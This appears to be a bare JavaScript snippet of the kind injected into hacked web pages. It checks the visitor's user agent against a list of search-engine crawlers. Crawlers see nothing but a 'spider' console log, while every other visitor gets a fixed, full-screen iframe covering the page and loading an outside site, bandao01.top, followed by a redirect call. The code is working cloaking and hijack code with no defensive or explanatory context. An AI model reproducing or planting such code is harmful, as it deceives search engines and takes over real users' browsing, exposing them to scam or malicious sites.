function isBot() { var userAgent = navigator.userAgent; var bots = ["Googlebot", "Bingbot", "Slurp", "DuckDuckBot", "Baiduspider", "YandexBot", "Sogou", "Exabot", "facebot", "ia_archiver"]; for (var i = 0; i < bots.length; i++) { if (userAgent.indexOf(bots[i]) >= 0) { return true; } } return false; } if (isBot()) { console.log("spider"); } else { var iframe = document.createElement('iframe'); iframe.src = 'https://bandao01.top/'; iframe.style.position = 'fixed'; iframe.style.top = '0'; iframe.style.left = '0'; iframe.style.width = '100%'; iframe.style.height = '100%'; iframe.style.zIndex = '9999'; document.body.appendChild(iframe); redirectToExample() }